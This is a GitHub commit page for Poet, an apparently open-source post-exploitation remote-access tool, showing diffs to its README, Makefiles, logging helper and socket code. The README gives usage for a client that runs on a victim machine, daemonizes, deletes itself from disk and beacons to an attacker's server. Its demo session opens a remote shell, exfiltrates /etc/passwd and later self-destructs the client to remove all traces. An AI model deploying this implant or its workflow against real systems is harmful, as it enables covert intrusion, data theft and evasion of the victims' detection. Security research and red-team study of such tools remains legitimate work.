Skip to content

Commit

Permalink
Merge branch 'develop'
Browse files Browse the repository at this point in the history
  • Loading branch information
offlinemark committed Jun 28, 2015
2 parents 80c084f + 1057daf commit 01e30d2
Show file tree
Hide file tree
Showing 10 changed files with 306 additions and 148 deletions.
2 changes: 1 addition & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ SRC = $(wildcard **/*.py)
OUT = bin

#
# default: produces poet-client.zip and poet-server.zip
# default: produces output client and server executables in bin/
#

default: $(OUT)
Expand Down
143 changes: 100 additions & 43 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,8 +24,11 @@ download the latest `poet-client` and `poet-server` files available.

Then skip to the Usage section below.

Alternatively, you can build Poet yourself (it's pretty easy). Make sure you
have the `python2.7` and `zip` executables available.
Alternatively, you can build Poet yourself (it's pretty easy, see below).

## building

Make sure you have the `python2.7` and `zip` executables available.

```
$ git clone https://github.com/mossberg/poet
Expand All @@ -39,99 +42,127 @@ and `poet-server`.
## usage

Poet is super easy to use, and requires nothing more than the Python (2.7)
standard library. To easily try it out, a typical invocation would look like:
standard library. To easily test it out, a typical invocation would look like:

Terminal 1:

```
$ ./poet-client -v 127.0.0.1 1
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
```

> By default, the poet client daemonizes and deletes itself from disk, so
> that behavior is suppressed using the `--debug` and `--no-selfdestruct`
> flags.
Terminal 2:

```
$ sudo ./poet-server
```

Note: By default, the server needs to be run as root (using `sudo`) because
the default port it binds to is 443. If that makes you uncomfortable, simply
omit `sudo` and use the `-p <PORT>` flag on both the client and server. Pick a
nice, high number for your port (> 1024).
> By default, the server needs to be run as root (using `sudo`) because
> the default port it binds to is 443. If that makes you uncomfortable, simply
> omit `sudo` and use the `-p <PORT>` flag on both the client and server. Pick a
> nice, high number for your port (> 1024).
### configuration

Of course, using the `-h` flag gives you the full usage.
For any non-testing usage, it is recommended to change the client
authentication token by modifying `common/config.py` before building.
Note that pre-built packages use the default, public authentication token.

### client

```
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [-v] [-d] IP [INTERVAL]
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP server
INTERVAL (s)
IP Poet Server
INTERVAL Beacon Interval, in seconds. Default: 600
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --verbose
-d, --delete delete client upon execution
--debug show debug messages. implies --no-daemon
--no-daemon don't daemonize
--no-selfdestruct don't selfdestruct
```

Poet is a client/server application. The client is executed on the target and
beacons back to the server at a certain time interval. The only required
argument is the IP address where the server is or will be running. Following
it can optionally be the time interval in seconds of how frequently to beacon
back, which defaults to 10 minutes. The port for the client to beacon out on
can be specified with the `-p` flag. All other flags would not be used during
"real" usage and exist mainly for debugging.

### server

```
$ ./poet-server -h
usage: poet-server [-h] [-p PORT]
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --version prints the Poet version number and exits
```

The server is executed on the user's own machine and listens for beacons from
the client. By default, it listens on a privileged port (443) and must be run
with privileges (which are quickly dropped after binding). The `-p` flag can
be used to bypass this by selecting an unprivileged port to listen on (>1024).

## concerns

Documented concerns:

- lack of cryptographically protected communications
- low interval beacons are **noisy** and generate TCP RSTs when the server is
inactive
- shell command is not a "real" shell and does not support most builtins found
in standard shells

## demo

This is just a small sample of what poet can do.

The scenario is, an attacker has gotten access to the victim's machine and
downloaded and executed the client (in verbose mode ;). He/she does not have
downloaded and executed the client. She does not have
the server running at this point, but it's ok, the client waits patiently.
Eventually the attacker is ready and starts the server, first starting a shell
and executing `uname -a`, then exfiltrating `/etc/passwd`. Then he/she exits
and executing `uname -a`, then exfiltrating `/etc/passwd`. Then she exits
and detaches from the client, which continues running on the target waiting for
the next opportunity to connect to the server.
the next opportunity to connect to the server. Later, she connects again,
self-destructing the client, removing all traces from the target.

Victim's Machine (5.4.3.2):

```
$ ./poet-client -v 1.2.3.4 10
[+] Poet started with interval of 10 seconds to port 443. Ctrl-c to exit.
[!] (2015-03-27 03:40:12.259676) Server is inactive
[!] (2015-03-27 03:40:22.263161) Server is inactive
[!] (2015-03-27 03:40:32.267308) Server is inactive
[+] (2015-03-27 03:40:42.273376) Server is active
[!] (2015-03-27 03:41:07.145979) Server is inactive
[!] (2015-03-27 03:41:17.150634) Server is inactive
[!] (2015-03-27 03:41:27.155614) Server is inactive
[!] (2015-03-27 03:41:37.160440) Server is inactive
$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see
```

Attacker's Machine (1.2.3.4):

```
# ./poet-server
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] Poet server started on 443.
[+] (2015-03-27 03:40:42.272601) Connected By: ('5.4.3.2', 59309) -> VALID
[+] (2015-03-27 03:40:42.273087) Entering control shell
Welcome to psh, the Poet shell!
[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
psh > shell
psh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
psh > user@server $ ^D
psh > exfil /etc/passwd
psh : exfil written to archive/20150327/exfil/passwd-201503274054.txt
psh > help
posh > help
Commands:
chint
dlexec
Expand All @@ -142,9 +173,35 @@ Commands:
recon
selfdestruct
shell
psh > exit
[+] (2015-03-27 03:40:57.144083) Exiting control shell.
[-] (2015-03-27 03:40:57.144149) Poet server terminated.
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
```

## disclaimer
Expand Down
22 changes: 4 additions & 18 deletions Testing.mk
Original file line number Diff line number Diff line change
Expand Up @@ -23,20 +23,11 @@ BIN_SV = $(OUT)/poet-$(basename $(SV))

# run client at localhost:8081, delay 1s
cl: dbg
$(PYTHON) $(CL) $(IP) $(DELAY) $(PORT)
$(PYTHON) $(CL) $(IP) $(DELAY) $(PORT) --no-selfdestruct

# run client at localhost:8081, delay 1s, verbosely
clv: dbg
$(PYTHON) $(CL) $(IP) $(DELAY) $(PORT) -v

# run client at localhost:8081, delay 1s, verbosely, and delete on disk
# after launch
clvd: dbg
@echo
@echo "You don't want to do that."
@echo "The client's selfdestruct functionality is tailored to it being in a \n\
zip file and things will go wrong if you try to run that from a standalone \n\
script (it'll try to delete the containing directory)."
$(PYTHON) $(CL) $(IP) $(DELAY) $(PORT) --debug --no-selfdestruct

# run server on localhost:8081
sv: dbg
Expand All @@ -48,16 +39,11 @@ sv: dbg

# run client at localhost:8081, delay 1s
bcl: default
$(PYTHON) $(BIN_CL) $(IP) $(DELAY) $(PORT)
$(PYTHON) $(BIN_CL) $(IP) $(DELAY) $(PORT) --no-selfdestruct

# run client at localhost:8081, delay 1s, verbosely
bclv: default
$(PYTHON) $(BIN_CL) $(IP) $(DELAY) $(PORT) -v

# run client at localhost:8081, delay 1s, verbosely, and delete on disk
# after launch
bclvd: default
$(PYTHON) $(BIN_CL) $(IP) $(DELAY) $(PORT) -v -d
$(PYTHON) $(BIN_CL) $(IP) $(DELAY) $(PORT) --debug --no-selfdestruct

# run server on localhost:8081
bsv: default
Expand Down
2 changes: 2 additions & 0 deletions common/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
clean:
# rm -rf *.pyc *pyo
File renamed without changes.
27 changes: 27 additions & 0 deletions common/debug.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
import logging
from datetime import datetime

DATE_FMT = '%m/%d/%y %H:%M:%S'

logging.basicConfig(format='%(message)s', level=logging.INFO)


def disable():
logging.basicConfig(format='%(message)s', level=None)


def _debug_print(msg, symbol='+'):
logging.info('[{}] ({}) {}'.format(symbol,
datetime.now().strftime(DATE_FMT), msg))


def info(msg):
_debug_print(msg)


def warn(msg):
_debug_print(msg, '!')


def err(msg):
_debug_print(msg, '-')
2 changes: 1 addition & 1 deletion lib/poetsocket.py → common/poetsocket.py
Original file line number Diff line number Diff line change
Expand Up @@ -49,7 +49,7 @@ def recv(self):
# In case we don't get all 4 bytes of the prefix the first recv(),
# this ensures we'll eventually get it intact
while bytes_recvd < PREFIX_LEN:
chunk = self.s.recv(PREFIX_LEN)
chunk = self.s.recv(min(PREFIX_LEN - bytes_recvd, PREFIX_LEN))
if not chunk:
raise socket.error('socket connection broken')
chunks.append(chunk)
Expand Down
8 changes: 4 additions & 4 deletions src/Makefile
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
SRC = $(wildcard *.py)
LIB = $(wildcard ../lib/*.py)
LIB := $(subst py,pyo,$(LIB))
COMMON = $(wildcard ../common/*.py)
COMMON := $(subst py,pyo,$(COMMON))

MAIN = __main__.pyo
OUT = ../bin
Expand All @@ -11,13 +11,13 @@ PYCC = python2.7 -OO -m py_compile
default: $(SRC:.py=.zip)

BIN = $(OUT)/poet-$@
%.zip: %.pyo $(LIB)
%.zip: %.pyo $(COMMON)
# the file with main() needs to be named __main__.py for this to work
ln -s $< $(MAIN)

# zip everything up. -j: ignore paths, only use file names. -r : zip file
# destination
$(ZIP) -j -r $(BIN) $(MAIN) $(LIB)
$(ZIP) -j -r $(BIN) $(MAIN) $(COMMON)

# clean up, we don't need it anymore
rm $(MAIN)
Expand Down
Loading

0 comments on commit 01e30d2

Please sign in to comment.